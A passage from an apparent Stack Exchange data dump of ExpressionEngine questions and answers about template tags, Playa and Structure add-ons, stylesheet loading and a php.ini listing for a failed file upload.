  <row Id="10138" PostTypeId="2" ParentId="10136" CreationDate="2013-05-07T17:55:19.880" Score="0" Body="&lt;p&gt;artmem,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just tested this. I have a checkbox (pt_checkbox) with three options.   I threw this into a template to test the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {pt_check}&#xA;    {option_name}: {option}&amp;lt;br /&amp;gt;&#xA;    {/pt_check}&#xA;&amp;lt;hr /&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;hr /&amp;gt;&#xA;&#xA;{exp:channel:entries limit=&quot;1&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{pt_check:ul sort=&quot;asc&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and both sets of tags gave me the correct output, as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7ONo.png&quot; alt=&quot;Screenshot of Output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a very simple test like that work for you?  I'm also testing on 2.5.5 and 1.0.3.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-05-07T17:55:19.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10139" PostTypeId="2" ParentId="10137" CreationDate="2013-05-07T18:38:04.057" Score="2" Body="&lt;p&gt;Sure. The tough part is determining when they have in fact updated their profile. Since you're using Zoo Visitor, you could use the &quot;last updated&quot; date of their member channel entry, but what if it was an admin who updated it - does that make a difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regardless, here's the broad strokes (no code) for an add-on that would &lt;em&gt;notify&lt;/em&gt; users every X interval, asking them to update their profiles (not necessarily based on when the last update was actually made). It should give you the the gist of how it would work.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a custom module and extension (start at &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt;, and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;read the module docs&lt;/a&gt; and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;extension docs&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Create a new database table (say, &lt;code&gt;exp_members_last_updated&lt;/code&gt;), which has two columns, &lt;code&gt;member_id&lt;/code&gt; and &lt;code&gt;last_updated&lt;/code&gt; (this will store a UNIX timestamp)&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;member_create_end&lt;/code&gt; and &lt;code&gt;member_delete&lt;/code&gt; extension hooks to insert/remove each member into/from your table as they are created/deleted&lt;/li&gt;&#xA;&lt;li&gt;Write a function/method in your module file which queries your table, grabbing all &lt;code&gt;member_id&lt;/code&gt;s whose &lt;code&gt;last_updated&lt;/code&gt; is at least X seconds ago&lt;/li&gt;&#xA;&lt;li&gt;For each of those, grab their email address from &lt;code&gt;exp_members&lt;/code&gt;, and send them an email (using EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/email.html&quot; rel=&quot;nofollow&quot;&gt;Email class&lt;/a&gt;) &lt;/li&gt;&#xA;&lt;li&gt;After sending the email, update their record in your custom table with the current time (&lt;code&gt;$this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;That module needs to have an &quot;action&quot;, which is linked to the above method within your module class - then you can run the script as a cron job with &lt;code&gt;http://yoursite.com/?ACT=XX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-07T18:38:04.057" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10140" PostTypeId="2" ParentId="10137" CreationDate="2013-05-07T18:46:43.403" Score="0" Body="&lt;p&gt;Though you should probably build this as an EE add-on you don't technically &lt;em&gt;need&lt;/em&gt; to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could write a simple PHP script that queries EE's database and grabs the email address of any account that hasn't been updated. Then send an email using PHP's own email functions. It doesn't have to be anything to do with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is going to be how to determine when a profile was last updated as I'm not sure this info is stored anywhere.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-07T18:46:43.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10141" PostTypeId="1" AcceptedAnswerId="10142" CreationDate="2013-05-07T19:14:04.627" Score="0" ViewCount="169" Body="&lt;p&gt;I have a Playa relationship between my &quot;News&quot; and &quot;Projects&quot; channels. In a News entry, you can select a related Project, so &quot;News&quot; is the parent and &quot;Projects&quot; is the child. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code on my Project template, and it works correctly to show related News items. However, I would like to hide the entire section when there are no related News items. I thought perhaps wrapping the section with &lt;code&gt;{if no_parents}{if:else}...{/if}&lt;/code&gt; would work, but I believe this type of statement must reside within the &lt;code&gt;{exp:playa:parents ... }&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- TO DO: put in logic to hide block if no related news --}&#xA;&amp;lt;!-- Sidebar Related News --&amp;gt;&#xA;&amp;lt;h4&amp;gt;Related News&amp;lt;/h4&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:playa:parents channel=&quot;News&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:playa:parents}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;!-- Sidebar Related News::END --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something simple here I'm overlooking?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ExpressionEngine version 2.5.3 and Playa version 4.4.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2013-05-07T19:17:26.450" Title="Hide section if no Playa parent" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10142" PostTypeId="2" ParentId="10141" CreationDate="2013-05-07T19:17:26.450" Score="6" Body="&lt;p&gt;You can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;News&quot;}&#xA;&#xA;  {if count == 1}&#xA;    &amp;lt;h4&amp;gt;Related News&amp;lt;/h4&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;  {/if}&#xA;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;  {if count == total_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-05-07T19:17:26.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10143" PostTypeId="2" ParentId="10134" CreationDate="2013-05-07T19:18:47.027" Score="1" Body="&lt;p&gt;Just to give you some idea of how this (and other add-ons work), it will loop through each matching category within the gwcode_categories tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example it's looping through 4 times, once for Category A, then for Category Child 1 through to 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic of your template code is assuming there's a 5th loop which is Category A again closing. This isn't the case, all it is Category Child 3 but with the appropriate variables set to inform the template that not only does this end depth 3, but also depth 2. All the variables will still remain as Category Child 3 - which is why you can't output &quot;{cat_name} Review&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, GWCode has almost every variable you'll ever need and you want to utilise the parent variables.  Change your last piece of code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if depth2_end}&#xA;    &amp;lt;li class=&quot;review&quot;&amp;gt;&amp;lt;a href=&quot;{path='topics/review/{parent_url_title}'}&quot;&amp;gt;{parent_name} Review&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;  &#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-05-07T19:18:47.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10144" PostTypeId="2" ParentId="10111" CreationDate="2013-05-07T19:25:10.217" Score="0" Body="&lt;p&gt;Given how you've described the end result of what you're looking for, here's how I might choose to handle it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I'd have a channel of sponsors.  Custom fields like logo, description, URL - whatever you need for each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I'd have a channel for weekly sponsors (or simply a custom field in your weekly setup) that is nothing more than a weekly identification of which sponsors apply for THIS weekly edition using Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The total results of the Playa field would be your total count of sponsors in a given week.  That would determine the requirements of the grid for displaying the sponsors - presumably you would have a maximum as determine by what fits naturally across the top where you have them positioned currently - let's use four as an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;weekly_sponsors&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;&#xA;    &amp;lt;p&amp;gt;This week, made possible by:&amp;lt;/p&amp;gt;&#xA;&#xA;    {exp:playa:children channel=&quot;sponsors&quot;}&#xA;        {if count == &quot;1&quot;}&amp;lt;ul class=&quot;weekly_sponsors {total_results}&quot;&amp;gt;{/if}&#xA;           &amp;lt;li&amp;gt;&amp;lt;img src=&quot;{logo}&quot; alt=&quot;{title}&quot;/&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if count == total_results}{/if}&#xA;    {/exp:playa:children}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I mentioned, this could simply be a playa field in your weekly entry setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you would have a logical maximum number of sponsors to fit across - in this example four, you would just need the width of each LI to adjust, depending on the total_results class applied to the list.  So without any margin or padding applied, it might be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.weekly_sponsors.5-sponsors li {&#xA;    width: 20%;&#xA;}&#xA;&#xA;.weekly_sponsors.4-sponsors li {&#xA;    width: 25%;&#xA;}&#xA;&#xA;.weekly_sponsors.3-sponsors li {&#xA;    width: 33%;&#xA;}&#xA;&#xA;.weekly_sponsors.2-sponsors li {&#xA;    width: 50%;&#xA;}&#xA;&#xA;.weekly_sponsors.1-sponsors li {&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not suggesting your widths would actually always divide evenly - this is just an example.  But that's likely how I would handle it to future proof it as much as possible.  This would also give you the ability to break the list and create a new row if needed following the same pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-07T19:25:10.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10145" PostTypeId="2" ParentId="10106" CreationDate="2013-05-07T19:30:52.100" Score="1" Body="&lt;p&gt;First thing’s first; check to make sure you have the &lt;code&gt;themes/third_party/wygwam&lt;/code&gt; folder in its place. I can’t tell you how many times I’ve accidentally uploaded the &lt;code&gt;system&lt;/code&gt; folder instead. After that, I would suggest you use your developer tools in your browser to see if JavaScript is failing to load, and if so, where it’s being requested from.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-05-07T19:30:52.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10146" PostTypeId="2" ParentId="1049" CreationDate="2013-05-07T20:10:23.053" Score="1" Body="&lt;p&gt;I have built a small plug-in that lets you extract last version (well in fact supporting a whole set of queries) for comparison with current entry. Issue is really with custom field types that store their data in other tables... no version info... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If folks think it would be useful to have that for 2.x I would be happy to git-hub it.... &lt;/p&gt;&#xA;" OwnerUserId="1445" LastActivityDate="2013-05-07T20:10:23.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10147" PostTypeId="1" CreationDate="2013-05-07T20:18:18.967" Score="0" ViewCount="355" Body="&lt;p&gt;I need to check the child IDs for a parent or top page in a conditional. However, Structure natively only provides &lt;code&gt;{structure:child_ids}&lt;/code&gt; and &lt;code&gt;{structure:child_ids_for:XX}&lt;/code&gt; globals. How can I rig up &lt;code&gt;{structure:child_ids_for:top}&lt;/code&gt; and/or &lt;code&gt;{structure:child_ids_for:parent}&lt;/code&gt; functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Question first posed this question on &lt;a href=&quot;https://twitter.com/michaelrog/status/331845261234147329&quot; rel=&quot;nofollow&quot;&gt;Twitter&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-05-24T18:21:44.390" Title="Get child_ids for parent and top pages in Structure" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10148" PostTypeId="2" ParentId="10147" CreationDate="2013-05-07T20:18:18.967" Score="1" Body="&lt;p&gt;Combining the native global tags seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{structure:child_ids_for:{structure:top:entry_id}}&#xA;{structure:child_ids_for:{structure:parent:entry_id}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-05-07T20:18:18.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10149" PostTypeId="1" AcceptedAnswerId="10154" CreationDate="2013-05-07T20:49:08.840" Score="1" ViewCount="268" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;lead-select&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;task_lead&quot; class=&quot;select&quot; style=&quot;margin-top: 12px;&quot;&amp;gt;Select Employee&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;    {field:task_lead}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;status&quot; value=&quot;open&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code is what i have currently in my template. now the hidden field for changing the status to &quot;open&quot; will not submit. Is there something different in safecracker with the new version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just upgraded from 2.6&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2013-05-07T23:42:39.590" Title="safecracker hidden field status not working after upgrade (2.6)" Tags="|safecracker|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10150" PostTypeId="2" ParentId="10052" CreationDate="2013-05-07T20:58:59.390" Score="0" Body="&lt;p&gt;I've always instructed clients to remove 'the_' or 'a_' from the beginning of the URL title once they punch in the Title; I then sort the display of channel entries by URL title. They haven't seemed to mind it this way. It's good to know there's an addon available that eliminates that small bit of tedium, though.&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2013-05-07T20:58:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10151" PostTypeId="1" AcceptedAnswerId="10152" CreationDate="2013-05-07T21:06:00.010" Score="1" ViewCount="239" Body="&lt;p&gt;So I have an include template named '.head' in which I am calling my CSS like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;{stylesheet=assets/styles-css}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was referencing the rest of the styles via imports at the top of that file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url(//full-path-to-the-next-stylesheet-0.css);&#xA;@import url(//full-path-to-the-next-stylesheet-1.css);&#xA;@import url(//full-path-to-the-next-stylesheet-2.css);&#xA;@import url(//full-path-to-the-next-stylesheet-3.css);&#xA;@import url(//full-path-to-the-next-stylesheet-4.css);&#xA;@import url(//full-path-to-the-next-stylesheet-5.css);&#xA;@import url(//full-path-to-the-next-stylesheet-6.css);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was fine when this was a static site. However, in EE I was getting mixed results by it 'sometimes' loading the styles and other times not. (Mostly not)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought maybe it would be better to just bring them all into EE and let it manage all stylesheets. Now I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*---------------------------------&#xA;IMPORTS&#xA;-----------------------------------*/&#xA;@import url(&quot;{stylesheet='assets/css-0'}&quot;);&#xA;@import url(&quot;{stylesheet='assets/css-1'}&quot;);&#xA;@import url(&quot;{stylesheet='assets/css-2'}&quot;);&#xA;@import url(&quot;{stylesheet='assets/css-3'}&quot;);&#xA;@import url(&quot;{stylesheet='assets/css-4'}&quot;);&#xA;@import url(&quot;{stylesheet='assets/css-5'}&quot;);&#xA;@import url(&quot;{stylesheet='assets/css-6'}&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem with that is that I end up having to change the first to &lt;code&gt;{path}&lt;/code&gt; rather than &lt;code&gt;{stylesheet}&lt;/code&gt; to use the &lt;code&gt;{stylesheet}&lt;/code&gt; tag for the @imports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also takes FOREVER to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long question now shortened...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of handling this? I would like to use the native stylesheet tag for caching reasons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.5.5 - Build Date: 20121220&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-05-07T21:45:25.550" Title="stylesheet tag and imports" Tags="|ee2|css|import|stylesheets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10152" PostTypeId="2" ParentId="10151" CreationDate="2013-05-07T21:45:25.550" Score="1" Body="&lt;p&gt;For speed and clarity, I would keep your css files outside of EE and also not use @import. Look into &lt;a href=&quot;http://devot-ee.com/add-ons/automin&quot; rel=&quot;nofollow&quot;&gt;Automin&lt;/a&gt; (which I have used) or &lt;a href=&quot;http://devot-ee.com/add-ons/minimee&quot; rel=&quot;nofollow&quot;&gt;Minimee&lt;/a&gt; (haven't used, but great reviews), which should really speed up and simplify displaying your stylesheets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with Automin, you would use something like the following in your head (so to speak...):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:automin:css&#xA;    attribute:type=&quot;text/css&quot;&#xA;    attribute:title=&quot;default&quot;&#xA;    attribute:rel=&quot;stylesheet&quot;&#xA;    attribute:media=&quot;screen, projection&quot;&#xA;}&#xA;    &amp;lt;link href=&quot;/css/core.css&quot; type=&quot;text/css&quot; title=&quot;default&quot; rel=&quot;stylesheet&quot; media=&quot;screen, projection&quot;&amp;gt;&#xA;    &amp;lt;link href=&quot;/css/design.css&quot; type=&quot;text/css&quot; title=&quot;default&quot; rel=&quot;stylesheet&quot; media=&quot;screen, projection&quot;&amp;gt;&#xA;{/exp:automin:css}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-05-07T21:45:25.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10153" PostTypeId="1" CreationDate="2013-05-07T23:39:40.933" Score="1" ViewCount="351" Body="&lt;p&gt;Very old client we did a pro-bono site for tracked me down and is having problems logging into  the control panel of their EE 1.6.8 site. When the login is filled out and submitted it just takes you back to the login screen. I've seen this before and usually just clearing the cache works, but it's not working in multiple browsers even after clearing the cache. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-06-07T10:34:40.467" Title="Can't login to control panel on EE 1.6.8 site" Tags="|control-panel|ee1|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10154" PostTypeId="2" ParentId="10149" CreationDate="2013-05-07T23:42:39.590" Score="1" Body="&lt;p&gt;This is a bug and has been resolved here:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19335&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19335&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1446" LastActivityDate="2013-05-07T23:42:39.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10155" PostTypeId="2" ParentId="10049" CreationDate="2013-05-08T01:00:12.540" Score="1" Body="&lt;p&gt;Here we go:&#xA;Firebug shows this-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/styles/matrix.css?2.5.4&quot;&#xA;&#xA;matrix.css?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/scripts/matrix.js?2.5.4&quot;&#xA;&#xA;matrix.js?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/scripts/matrix_conf.js?2.5.4&quot;&#xA;&#xA;matrix...s?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/styles/matrix.css?2.5.4&quot;&#xA;&#xA;matrix.css?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/scripts/matrix_text.js?2.5.4&quot;&#xA;&#xA;matrix...s?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/scripts/matrix.js?2.5.4&quot;&#xA;&#xA;matrix.js?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/scripts/matrix_text.js?2.5.4&quot;&#xA;&#xA;matrix...s?2.5.4&#xA;&#xA;&quot;NetworkError: 404 Not Found - http://w w w.DOMAIN.com/themes/third_party/matrix/scripts/matrix_conf.js?2.5.4&quot;&#xA;&#xA;matrix...s?2.5.4&#xA;&#xA;ReferenceError: MatrixConf is not defined&#xA;[Break On This Error]   &#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;MatrixConf.EE2 = true;&#xA;&#xA;index....up_id=4 (line 1100)&#xA;&#xA;ReferenceError: MatrixConf is not defined&#xA;[Break On This Error]   &#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;MatrixConf.EE2 = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would put images but for some reason stackexchange is asking me to have reputation 10. Total Absurd!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which means you have uploaded only 1st part to system and didnt upload second part to themes. It happen to me! Just upload correctly!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2013-05-08T01:07:45.320" LastActivityDate="2013-05-08T01:07:45.320" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10156" PostTypeId="2" ParentId="10133" CreationDate="2013-05-08T03:22:00.910" Score="1" Body="&lt;p&gt;I've completed something similar but we captured all entries to a to a series of big stash lists then used &lt;code&gt;get_list name=&quot;{segment_1}-Product&quot; match=&quot;#{last_segment}#&quot; against=&quot;urltitle&quot;}&lt;/code&gt; to pull in the relevant item or series of items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the base theory we used, &lt;strong&gt;you'll have to experiment&lt;/strong&gt; to get it to work in your scenario...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Just capture the elements you require, leave styling to later…&#xA;//Set depth to 2, we're parsing exp:channel + also getting nested info from item:options&#xA;{exp:stash:set_list name=&quot;{segment_1}-Product&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot; parse_depth=&quot;2&quot;save=&quot;no&quot; replace=&quot;no&quot; refresh=&quot;1440&quot;} {exp:channel:entries channel=&quot;products&quot; status=&quot;open&quot; url_title=&quot;{last_segment}&quot;}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:urltitle}{url_title}{/stash:urltitle}&#xA;    {stash:e_id}{entry_id}{/stash:e_id}&#xA;    //Capture the options as a nested list&#xA;    {exp:stash:set_list:nested name=&quot;product_options{entry_id}&quot; parse_tags=&quot;yes&quot; scope=&quot;site&quot;}&#xA;        {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; parse=&quot;inward&quot;}&#xA;            {stash:optionlabel}{option_label}{/stash:optionlabel}&#xA;            {stash:optionname}{option_name}{/stash:optionname}&#xA;            {stash:optionvalue}{option_value}{/stash:optionvalue}&#xA;            {stash:optionprice}{option_price}{/stash:optionprice}&#xA;        {/exp:cartthrob:item_options}&#xA;    {/exp:stash:set_list:nested}&#xA;{/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;//Grab the list and format it however you choose…&#xA;{exp:stash:get_list name=&quot;{segment_1}-Product&quot; scope=&quot;site&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;p&amp;gt;{e_id}&amp;lt;/p&amp;gt;&#xA;    {exp:stash:get_list:nested name=&quot;product_options{entry_id}&quot; scope=&quot;site&quot;}&#xA;    Label: {option_label}&#xA;    Name: {optionname}  Value: {optionvalue} Price: {optionprice}&amp;lt;br&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-05-08T03:22:00.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10157" PostTypeId="1" CreationDate="2013-05-08T03:48:35.630" Score="1" ViewCount="562" Body="&lt;p&gt;Currently working on a site that will be making audio files available to their membership.  My Resource channel has a Channel Files field (&quot;Audio&quot;) to upload such files.  Originally I was going to upload these files to a folder above root for additional security.  When that didn't work, I changed it to a regular folder within the site.  That still doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to upload a large MP3 file (~ 20-25MB), it goes all the way through the process, then I get an error that says &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Upload request failed, no HTTP 200 Return Code! OPEN ERROR&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the error, I simply get a message that says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Internal Server Error&#xA;&#xA;The server encountered an internal error or misconfiguration and was unable to complete your request.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried skipping Channel Files and tried to upload the same file through File Manager, and also got the &quot;Internal Server Error&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a dedicated server, so I have full access to everything.  My php.ini settings show &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;asp_tags = Off&#xA;include_path = &quot;.:&quot;&#xA;ignore_repeated_source = Off&#xA;variables_order = &quot;GPCS&quot;&#xA;track_errors = Off&#xA;output_buffering = 4096&#xA;auto_globals_jit = On&#xA;doc_root = &#xA;log_errors = On&#xA;safe_mode_allowed_env_vars = PHP_&#xA;safe_mode_protected_env_vars = LD_LIBRARY_PATH&#xA;auto_append_file = &#xA;disable_classes = &#xA;display_startup_errors = Off&#xA;user_dir = &#xA;enable_dl = Off&#xA;register_argc_argv = Off&#xA;display_errors = Off&#xA;open_basedir = none&#xA;allow_call_time_pass_reference = Off&#xA;safe_mode_exec_dir = &#xA;default_socket_timeout = 60&#xA;html_errors = Off&#xA;register_globals = Off&#xA;unserialize_callback_func = &#xA;y2k_compliance = On&#xA;magic_quotes_runtime = Off&#xA;expose_php = Off&#xA;log_errors_max_len = 1024&#xA;post_max_size = 150M&#xA;report_memleaks = On&#xA;engine = On&#xA;memory_limit = 128M&#xA;short_open_tag = On&#xA;max_execution_time = 800&#xA;safe_mode_include_dir = &#xA;serialize_precision = 100&#xA;precision = 14&#xA;upload_max_filesize = 150M&#xA;register_long_arrays = Off&#xA;safe_mode = off&#xA;zlib.output_compression = Off&#xA;ignore_repeated_errors = Off&#xA;request_order = &quot;GP&quot;&#xA;default_mimetype = &quot;text/html&quot;&#xA;allow_url_include = Off&#xA;disable_functions = &#xA;file_uploads = On&#xA;magic_quotes_sybase = Off&#xA;max_input_time = 800&#xA;magic_quotes_gpc = 